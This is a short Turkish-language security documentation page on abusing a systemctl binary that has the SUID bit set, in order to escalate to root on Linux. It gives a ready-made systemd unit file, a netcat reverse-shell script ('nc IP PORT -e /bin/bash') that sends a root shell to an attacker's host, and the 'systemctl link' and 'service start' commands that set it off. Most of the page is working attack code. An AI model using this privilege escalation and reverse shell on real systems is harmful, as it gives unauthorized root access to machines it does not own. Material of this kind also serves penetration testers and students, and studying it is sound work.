> For the complete documentation index, see [llms.txt](https://security.musana.net/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://security.musana.net/linux/suid-set-edilmis-servicectl-abuse-etme.md).

# SUID Set Edilmiş servicectl Abuse Etme

Eğer bir linux dağıtımında servicectl processine suid bit set edilmiş ise bir saldırgan kendi servisini oluşturarak bu service üzerinden privesc. yapıp root haklarına yükselebilir. Service dosyaları ".service" uzantısı ile bitmek zorundadır.  Örnek bir service dosyası (myservice.service)

```
[Service]
Type=simple
ExecStart=/bin/bash /tmp/test.sh
 
[Install]
WantedBy=multi-user.target
```

Örnek test.sh dosyası ise aşağıdaki gibi olabilir.

```
nc IP PORT -e /bin/bash
```

servicectl komutu tarafından oluşturduğumuz servisi çalıştırmak için `/etc/systemd/system` dizini içersine ".service" ile biten dosyayı atmalıyız. Eğer yazma izni yoksa o zaman linkleyerek de bu durumu çözebiliriz.

\*\* aşağıdaki komuta service dosyası yolu belirtilirken "full path" bilgisi verilmelidir.

> systemctl link /tmp/myservice.service

Oluşturduğumuz servisi başlatmak için(.service uzantısını yazmak zorunda değiliz);

> service start myservice.service

Servisi başlatıktan sonra belirtiğimiz .sh dosyası çalıştırılarak root haklarında belirlenen IP adresine shell düşer.
